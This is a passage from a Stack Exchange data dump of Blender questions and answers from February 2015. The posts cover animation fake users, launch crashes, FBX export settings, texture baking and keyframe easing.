Tags="&lt;cycles-render-engine&gt;&lt;gpu&gt;&lt;performance&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-02-27T02:09:26.510" ContentLicense="CC BY-SA 3.0" />
  <row Id="26329" PostTypeId="1" CreationDate="2015-02-27T00:33:50.573" Score="1" ViewCount="594" Body="&lt;p&gt;I have just made a model of a humanoid character with an animation timeline. Its just come to my attention that I should have assigned a 'fake user' to the idle animation by pressing 'F' in the dopesheet. Unfortunately I've already assigned a animation timeline to the model, including the idle pose and run cycle. Is there any way i can assign the fake user now that i've already saved my progress without doing this?&lt;/p&gt;&#xA;" OwnerUserId="12814" LastActivityDate="2015-02-27T06:34:26.997" Title="Is it possible to add fake user to animation actions after saving model without having done so?" Tags="&lt;animation&gt;&lt;keyframes&gt;&lt;dopesheet&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26330" PostTypeId="1" CreationDate="2015-02-27T00:40:52.010" Score="0" ViewCount="192" Body="&lt;p&gt;Ok so, I have blender 2.73 and I open it. i see a glimpse of the gui, then it crashes.&#xA;Help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in Advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Windows Vista 32 bit Ultimate&#xA;The console says:&#xA;Warning! Using result of ChoosePixelFormat.&#xA;Warning! Using result of ChoosePixelFormat.&#xA;found bundled python: C:\Program Files\Blender Foundation\Blender\2.73\python&#xA;Writing: C:\Users\FLAMIN~1\AppData\Local\Temp\blender.crash.txt&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked at all the other problems similar to this and still, blender crashes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried it NoviceInDisguise and MarcClintDion&lt;/p&gt;&#xA;" OwnerUserId="12842" LastEditorUserId="12842" LastEditDate="2015-03-06T00:58:29.897" LastActivityDate="2015-03-06T00:58:29.897" Title="Blender opens, then crashes" Tags="&lt;blender-internal-render-engine&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-02-27T02:10:06.557" ContentLicense="CC BY-SA 3.0" />
  <row Id="26331" PostTypeId="2" ParentId="26329" CreationDate="2015-02-27T01:11:58.130" Score="1" Body="&lt;p&gt;Yes, you can still bring this back as long as you haven't closed Blender. If you did close Blender, you can only bring it back if there was an item that's using the datablock containing that Action. The whole reason for giving a datablock a fake user is to stop Blender from cleaning it out along will all the other un-needed items when you close it. I suspect it to be a resource thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Dope Sheet window, switch the mode from 'Dope Sheet' over to 'Action Editor'. There should be a dropdown next to the Key menu option at the bottom of the Dope Sheet Window that lets you do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further down the menus at the bottom of the Dope Sheet Window, there should be an Action Selector. The look of this selector changes a bit based on whether or not an Action is currently selected. Either way, there will be a dropdown button with an image of three diamonds forming an upside-down triangle. If no action is currently selected, there will be a button that lets you create a new action. If an action is selected, there will be a text box with the Action's name, followed by the fake user button, create new action (based on current action) button, and de-select action (un-link datablock) button. Use that drop-down to select the Action you want to add a fake user to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the Action is selected, you can add (or remove) the fake user.&lt;/p&gt;&#xA;" OwnerUserId="12784" LastEditorUserId="12784" LastEditDate="2015-02-27T06:34:26.997" LastActivityDate="2015-02-27T06:34:26.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26332" PostTypeId="2" ParentId="26328" CreationDate="2015-02-27T01:19:30.950" Score="2" Body="&lt;p&gt;As far as which is better for Blender, AMD or Intel, I don't really know. Beside, if the benchmark is using cycles, they might have been using GPU rendering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for why Intel CPUs tend to outperform AMD, the quick and dirty answer to this is that Intel has more money to spend on R&amp;amp;D. There was a point in time where AMD had better CPU's than Intel (Atholon 64 vs Pentium 4), but this caused Intel to get their act together. AMD is making some nice improvements to their processors, but the resources they can invest in coming up with a better CPU doesn't even compare to what Intel can invest. Because of this, Intel is more likely to come up with a better CPU.&lt;/p&gt;&#xA;" OwnerUserId="12784" LastActivityDate="2015-02-27T01:19:30.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26334" PostTypeId="1" CreationDate="2015-02-27T03:30:49.427" Score="3" ViewCount="117" Body="&lt;p&gt;What I want to achieve is to have a low-poly mesh with a certain mesh assigned to a set of vertices, and then be able to animate it to change which vertices are affected. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ajiIr.png&quot; alt=&quot;Start Material&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DjIac.png&quot; alt=&quot;End Material&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need the solution to work for any shape, and to be able to be animated to at least four different positions, and fairly easily. Any solutions?&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-02-27T03:38:21.120" LastActivityDate="2015-02-27T04:21:28.107" Title="Can I animate which vertices a certain material is assigned to?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;vertex-groups&gt;&lt;vertex-colors&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26336" PostTypeId="2" ParentId="26334" CreationDate="2015-02-27T04:21:28.107" Score="3" Body="&lt;p&gt;Assign different materials with different pass index to the different vertex groups you want to affect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable Pass index on the render layers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Compositor you can then alter the material using the ID mask.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rrkB4.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-02-27T04:21:28.107" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26337" PostTypeId="1" AcceptedAnswerId="26341" CreationDate="2015-02-27T04:25:15.717" Score="2" ViewCount="1816" Body="&lt;p&gt;I understand that in the Blender Game Engine, the GLSL shading mode is generally suggested, because it renders real-time shadows, and it renders per pixel instead of per vertex like in the Multitexture shading mode.  I noticed that when I switch to the GLSL shading mode, materials, and textures don't show up in the internal player, and it appears as if all materials have been set to shadeless.  If I use the Standalone Player button, it displays all the materials and textures properly.  I'm curious if there is a setting that I should have checked, or if it is normal for this to happen.  Also, once I package my game, will it appear as if it's running in the Standalone Player, or the internal player?  Thanks so much for your help.&lt;/p&gt;&#xA;" OwnerUserId="12805" LastActivityDate="2015-02-27T07:37:32.663" Title="Materials and Textures not Showing Up in GLSL Shading Mode" Tags="&lt;game-engine&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26338" PostTypeId="1" CreationDate="2015-02-27T04:35:03.127" Score="0" ViewCount="391" Body="&lt;p&gt;I am trying to bake an internal scene in Blender Cycles. However, it adds some odd grey lines on top of the resulting bake:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7uZh3.jpg&quot; alt=&quot;Various odd grey lines in the baked texture have been circled.&quot;&gt;&#xA;Increasing the amount of samples does not help. You can pick up the .blend here: &lt;a href=&quot;http://www.pasteall.org/blend/34703&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/34703&lt;/a&gt; (Unfortunately, my current UVs did not pack correctly, so re-baking will be required. Just select the room or the archway and click 'bake' in the bottom-right corner.)&lt;/p&gt;&#xA;" OwnerUserId="5708" LastActivityDate="2015-02-27T04:35:03.127" Title="Cycles baking creates odd grey lines" Tags="&lt;cycles-render-engine&gt;&lt;texture-baking&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26339" PostTypeId="1" CreationDate="2015-02-27T05:27:50.627" Score="0" ViewCount="834" Body="&lt;p&gt;I've been working at this for a while now and have uninstalled and reinstalled Blender.  Is it possible that I haven't animated properly and the export menu is contextual?  I set my key frames, and it animates in the 3D view and the transformation appears in the graph editor.  If more information is needed, I can supply it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure there is something very obvious I'm missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VCjpY.png&quot; alt=&quot;Screen-grab&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12846" LastActivityDate="2015-02-27T13:10:28.263" Title="When exporting as .FBX, I don't have the option &quot;include animation&quot; that I've seen in tutorials" Tags="&lt;animation&gt;&lt;interface&gt;&lt;export&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26340" PostTypeId="2" ParentId="26339" CreationDate="2015-02-27T07:26:08.790" Score="2" Body="&lt;p&gt;The following settings work for me with bridging Blender/UE4 but they may differ from engine to engine.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use 'Armature + Mesh' to transfer the model and its associated rigging.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use 'Armature' only to transfer subsequent animations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be sure to uncheck 'Add Leaf Bones' for UE4.  Other Engines may work best with this option activated.  A bit of trial and error should get you through that part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Carefully go through the game engine created model/animation directory for what you imported and verify each new file to make sure they should be there, delete whatever mistakes happen from the transfer process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gwsB8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RUqQ7.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you happen to be using UE4, there is a video playlist published by Epic that shows how to handle these things on their end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info on the topic can be found using the following keywords:&#xA;&quot;Unreal Engine, Youtube, Zak Parrish, Getting Started: Introduction to Blueprint 3rd Person Game Creation&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a link to the playlist &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/playlist?list=PLZlv_N0_O1gZS5HylO_368myr-Kg2ZLwb&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/playlist?list=PLZlv_N0_O1gZS5HylO_368myr-Kg2ZLwb&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2015-02-27T07:26:08.790" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26341" PostTypeId="2" ParentId="26337" CreationDate="2015-02-27T07:37:32.663" Score="5" Body="&lt;p&gt;Setting the Viewport Shading to 'Textured' should help with this.  'Material' also works.&lt;br&gt;&#xA;It sounds like you may be using 'Solid' mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1HUKD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2015-02-27T07:37:32.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26342" PostTypeId="2" ParentId="25911" CreationDate="2015-02-27T08:21:16.750" Score="2" Body="&lt;p&gt;When editing the walkcycle action alone (file has the same issue as in &lt;a href=&quot;https://blender.stackexchange.com/questions/26273/why-nla-editor-run-only-the-top-action-strip/26288#26288&quot;&gt;this question&lt;/a&gt;) you haven't properly keyframed the IK-arms. In the timeline set the VisualLocRot as keying-set:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/471vJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to the keyframes in IK mode and place the hands where you want them to be. Thereafter you can switch seamlessly between IK and FK mode.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qx3uS.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/50/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=50&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2015-02-27T08:21:16.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26344" PostTypeId="1" CreationDate="2015-02-27T09:45:05.667" Score="3" ViewCount="67" Body="&lt;p&gt;I've created a shape object with mesh. It's a side of a POS stand. I need to create sheet cuts for printing purposes. How can i export mesh shape to svg or other vector file ?&lt;/p&gt;&#xA;" OwnerUserId="12849" LastActivityDate="2015-02-27T09:45:05.667" Title="Blender mesh shape to Illustrator" Tags="&lt;mesh&gt;" AnswerCount="0" CommentCount="5" ClosedDate="2015-02-27T15:16:36.073" ContentLicense="CC BY-SA 3.0" />
  <row Id="26345" PostTypeId="2" ParentId="26339" CreationDate="2015-02-27T13:10:28.263" Score="2" Body="&lt;p&gt;Your tutorials were probably using old (deprecated but sometimes still useful) FBX 6.1 ASCII exporter (you can still use it by changing setting in the top &lt;strong&gt;Version:&lt;/strong&gt; dropdown menu).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In new 7.4 binary FBX exporter, the matching option is called &lt;strong&gt;Baked Animation&lt;/strong&gt;, and which animation(s) are baked/exported is then controlled by the two next checkboxes (disable both if you only want the current scene’s animation).&lt;/p&gt;&#xA;" OwnerUserId="2607" LastActivityDate="2015-02-27T13:10:28.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26346" PostTypeId="1" CreationDate="2015-02-27T13:49:26.460" Score="1" ViewCount="1829" Body="&lt;p&gt;In pretty new to blender, and I installed the latest Ubuntu image on a machine to test it out. When I try to launch it from the console, I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@localhost:~# blender&#xA;libdc1394 error: Failed to initialize libdc1394&#xA;Color management: using fallback mode for management&#xA;Xlib:  extension &quot;XInputExtension&quot; missing on display &quot;:11.0&quot;.&#xA;connect failed: No such file or directory&#xA;ALSA lib confmisc.c:768:(parse_card) cannot find card '0'&#xA;ALSA lib conf.c:4248:(_snd_config_evaluate) function snd_func_card_driver returned error: No such file or directory&#xA;ALSA lib confmisc.c:392:(snd_func_concat) error evaluating strings&#xA;ALSA lib conf.c:4248:(_snd_config_evaluate) function snd_func_concat returned error: No such file or directory&#xA;ALSA lib confmisc.c:1251:(snd_func_refer) error evaluating name&#xA;ALSA lib conf.c:4248:(_snd_config_evaluate) function snd_func_refer returned error: No such file or directory&#xA;ALSA lib conf.c:4727:(snd_config_expand) Evaluate error: No such file or directory&#xA;ALSA lib pcm.c:2239:(snd_pcm_open_noupdate) Unknown PCM default&#xA;AL lib: alsa_open_playback: Could not open playback device 'default': No such file or directory&#xA;libGL error: failed to load driver: swrast&#xA;Xlib:  extension &quot;XInputExtension&quot; missing on display &quot;:11.0&quot;.&#xA;X Error of failed request:  GLXBadRenderRequest&#xA;  Major opcode of failed request:  148 (GLX)&#xA;  Minor opcode of failed request:  1 (X_GLXRender)&#xA;  Serial number of failed request:  310&#xA;  Current serial number in output stream:  310&#xA;root@localhost:~# &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12851" LastEditorUserId="12851" LastEditDate="2015-02-27T14:04:15.730" LastActivityDate="2015-02-27T15:01:58.923" Title="Unable to run Blender on Ubuntu" Tags="&lt;linux&gt;" AnswerCount="1" CommentCount="5" ClosedDate="2015-02-27T16:36:53.037" ContentLicense="CC BY-SA 3.0" />
  <row Id="26347" PostTypeId="2" ParentId="26346" CreationDate="2015-02-27T15:01:58.923" Score="1" Body="&lt;p&gt;It's not clear from your question whether you installed Blender via the command line or by downloading the package. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing you installed via the command line as you are encountering dependency issues. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try downloading the latest release from blender.org, then just double click the executable icon 'blender' in the 'blender-2.7*' folder, or navigate to that directory and from the command line run: ./blender&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To reiterate the comment above, you shouldn't be running this as root. &lt;/p&gt;&#xA;" OwnerUserId="9730" LastActivityDate="2015-02-27T15:01:58.923" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26348" PostTypeId="1" CreationDate="2015-02-27T15:47:07.337" Score="0" ViewCount="1823" Body="&lt;p&gt;I'm new to Blender and having trouble installing  it.&#xA;It looks like I'm missing &quot;MSVCR120.dll&quot;. I've looked on the Blender site and found only closed jobs for this error.  I saw that in the .zip file from the download page it has it included but it still pops the error when trying to start Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone help and tell me when MSVCR120.dll needs to be installed?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;hr /&gt;Error from win7 x64&lt;br/&gt;24gb ddr3 1600, amd fx8350, twin gtx750TI&lt;hr /&gt;&lt;/pre&gt;&#xA;&#xA;&lt;pre class=&quot;lang-none prettyprint-override&quot;&gt;&lt;code&gt;  Problem Event Name:   APPCRASH &#xA;  Application Name: blender-app.exe&#xA;  Application Version:  2.7.3.0&#xA;  Application Timestamp:    54beacf4&#xA;  Fault Module Name:    MSVCR120.dll&#xA;  Fault Module Version: 12.0.21005.1&#xA;  Fault Module Timestamp:   524f83ff&#xA;  Exception Code:   c000001d&#xA;  Exception Offset: 0000000000092bc3&#xA;  OS Version:   6.1.7600.2.0.0.256.1&#xA;  Locale ID:    1033&#xA;  Additional Information 1: 9c5b&#xA;  Additional Information 2: 9c5b99d1538af1465d6588ee6e30c6d2&#xA;  Additional Information 3: 16bd&#xA;  Additional Information 4: 16bd3220bb13198108855400ad31c1a0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12854" LastEditorDisplayName="user12855" LastEditDate="2015-02-27T16:20:20.517" LastActivityDate="2015-03-31T00:15:58.347" Title="Missing msvcr120.dll during installation" Tags="&lt;installation&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26349" PostTypeId="1" AcceptedAnswerId="26350" CreationDate="2015-02-27T16:03:04.710" Score="0" ViewCount="145" Body="&lt;p&gt;I have a couple of questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;is it possible to change the color of a single button via python?(like the “add Driver” Operator does)&lt;/li&gt;&#xA;&lt;li&gt;is it possible to change original blender buttons to execute something else(without changing the source .py ui file). Specifically: Then the user hits the render button, I want to trigger another function and stop the rendering.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="8364" LastActivityDate="2015-02-27T16:12:24.043" Title="Blender UI Manipulation Python" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26350" PostTypeId="2" ParentId="26349" CreationDate="2015-02-27T16:12:24.043" Score="4" Body="&lt;ol&gt;&#xA;&lt;li&gt;No&lt;/li&gt;&#xA;&lt;li&gt;No cleanly, you can re-define the classes from source .py ui files in your addon. Which is dirty. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-02-27T16:12:24.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26351" PostTypeId="2" ParentId="26311" CreationDate="2015-02-27T16:21:14.220" Score="7" Body="&lt;p&gt;You can try to set size of the crosshairs to 0:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wdoWv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this for multiple objects set the active one and copy to all the selected with right-click on property-field and Copy_To_Selected option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will only scale them and not eliminate them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also set the &lt;em&gt;viewport properties panel &gt; Display &gt; Only Render&lt;/em&gt; property:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CNVBE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-02-27T17:42:10.420" LastActivityDate="2015-02-27T17:42:10.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26352" PostTypeId="1" CreationDate="2015-02-27T16:24:32.087" Score="0" ViewCount="46" Body="&lt;p&gt;Is it possible to edit in Blender with proxies (reduced low res files) and then ask Blender to replace those for the final editing with 4k high res files? Low and high res files would be numbered identically but would be located in different folders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="12856" LastEditorDisplayName="user1853" LastEditDate="2015-02-27T17:10:48.997" LastActivityDate="2015-02-27T17:10:48.997" Title="Editing with proxy images" Tags="&lt;editing&gt;&lt;video-sequence-editor&gt;" AnswerCount="0" CommentCount="6" ClosedDate="2015-02-27T16:37:06.877" ContentLicense="CC BY-SA 3.0" />
  <row Id="26354" PostTypeId="1" AcceptedAnswerId="26364" CreationDate="2015-02-27T17:56:22.560" Score="1" ViewCount="3224" Body="&lt;p&gt;I have a huge static scene, and I'm trying to bake a lot of the lighting so that the simple stuff will render faster (for an animation). ...and I'm getting some results that I don't expect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ground is baked using &quot;combined&quot; and it looks GREAT. It's entirely indistinguishable from a straight render. The only way I can tell the difference is a black border under the buildings, if the texture resolution is too low, but the point is it looks exactly the same whether I render with or without using the baked texture, but using the bake takes half as long to render. That's exactly what you want from baked lighting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem comes in with the buildings. As you can see, the render WITHOUT the baked texture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TpjT0.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...looks very different from the render WITH the baked texture on one of the buildings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AiDsy.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The one building that I baked in this case looks darker than the unbaked one. I've done this with several buildings, from several different viewpoints, and using a variety of settings, but the results are always something like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my material setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EVIwr.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And just in case it matters, here's the image and UVs for that one building:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mkCkP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the others are almost identical, but with their own images and materials. Any idea why the ground would look exactly the same baked and not, but the buildings look so different?&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2015-02-27T20:43:37.733" Title="Why does combined bake look different from render?" Tags="&lt;texture-baking&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26355" PostTypeId="2" ParentId="23259" CreationDate="2015-02-27T18:07:54.977" Score="1" Body="&lt;p&gt;I can't be sure, but it seems entirely likely that your whites are getting crushed. I can guarantee that the white in your specular highlight on that chair is much higher than &quot;255.&quot; But a typical image can only hold up to a 255.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generically, this situation is handled one of two ways. Either, anything over 255 is just clipped/clamped to 255, or the whole range of values is crushed/scaled so that everything fits in a 0-255 range. This makes all the highlights darker because what used to be between 1000-2000 level of intensity gets scaled down to something like 150-250.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You situation would only be explained if Blender is doing some kind of intensity compensation that's tuning everything down so that your whites are crushed instead of just clipped. I don't know if Blender actually does that or not, but it'd explain what you're seeing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also don't know how to solve that, unless you can bake to an EXR or HDR that will record values higher than 255.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2015-02-27T18:07:54.977" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26356" PostTypeId="1" AcceptedAnswerId="26390" CreationDate="2015-02-27T18:36:15.933" Score="1" ViewCount="744" Body="&lt;p&gt;I am progressing on my complex animation &lt;a href=&quot;http://www.pasteall.org/blend/34730&quot; rel=&quot;nofollow noreferrer&quot;&gt;model&lt;/a&gt;. Now I have just a small problem. I have create 3 action strips: walking, movingstraight and crouch. &#xA;In the NLA editor, i try to compose these actions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the first test, I did like this image and the animation correctly works&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VvHHo.png&quot; alt=&quot;image1&quot;&gt;&lt;br&gt;&#xA;Now, I need that the person continue to walk form the current place. I add walking and moving action like this&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/oDDsy.png&quot; alt=&quot;image2&quot;&gt;&#xA;the problem that the person return continue to walk but form the first place. I think that i can resolve this by creating an other moving action from the current place to the next place but i think it so complicated if i need to move the person in different place. I hope that the question is not confused.&lt;/p&gt;&#xA;" OwnerUserId="11289" LastEditorUserId="11289" LastEditDate="2015-02-28T17:56:36.750" LastActivityDate="2015-02-28T18:19:23.477" Title="How to make NLA strip pick up location based on previous action?" Tags="&lt;animation&gt;&lt;nla-editor&gt;&lt;dopesheet&gt;" AnswerCount="1" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="26357" PostTypeId="1" AcceptedAnswerId="26367" CreationDate="2015-02-27T18:48:19.913" Score="4" ViewCount="1869" Body="&lt;p&gt;I have an animated overlay I want to use, and I have composited my project how I want, but I can't figure out how to make my animated overlays repeat. I want to know if there is a way to do this outside of the VSE if at all possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the &lt;em&gt;Video Clip&lt;/em&gt; node, but the video clip is only 57 frames long, and I need it to repeat for the full 400 frames of the animation. Can this be done outside of  the &lt;em&gt;Video Sequence Editor&lt;/em&gt; in the video editing stages?&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-02-27T19:57:22.380" LastActivityDate="2015-02-27T21:15:55.477" Title="Is it possible to make a video texture repeat in the compositor?" Tags="&lt;compositor&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26358" PostTypeId="1" AcceptedAnswerId="26359" CreationDate="2015-02-27T18:52:53.530" Score="3" ViewCount="1940" Body="&lt;p&gt;Hi i need to slow down animation, but gradually. I have 3 keyframes, first with linear interpolation, and i want linear motion up to second keyframe. But then, from the second one, i want to animation (rotating object) be smoothly slowed down. If i use bezier interpolation, it will firstly speed up rotation, and then slow down. I need some interpolation or method that will slow down rotation from second to third keyframe. I mean something like reversed easing....&lt;/p&gt;&#xA;" OwnerUserId="8407" LastActivityDate="2015-02-27T19:51:50.027" Title="How to gradually slow down animation" Tags="&lt;animation&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26359" PostTypeId="2" ParentId="26358" CreationDate="2015-02-27T19:14:20.330" Score="4" Body="&lt;p&gt;Go into the &lt;em&gt;Graph Editor&lt;/em&gt;, find the first keyframe, select it and press &lt;kbd&gt;V&lt;/kbd&gt; &lt;em&gt;&gt; Vector&lt;/em&gt;. Then press &lt;kbd&gt;RMB&lt;/kbd&gt; on the right handle, and move it so it is a straight line to the next point on the graph, and then press &lt;kbd&gt;LMB&lt;/kbd&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LZrll.gif&quot; alt=&quot;Graph Editor&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will make the object begin at and maintain the same speed, until it is time to slow down, when the standard ease method will be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/a3E7S.gif&quot; alt=&quot;Animated Example&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-02-27T19:14:20.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
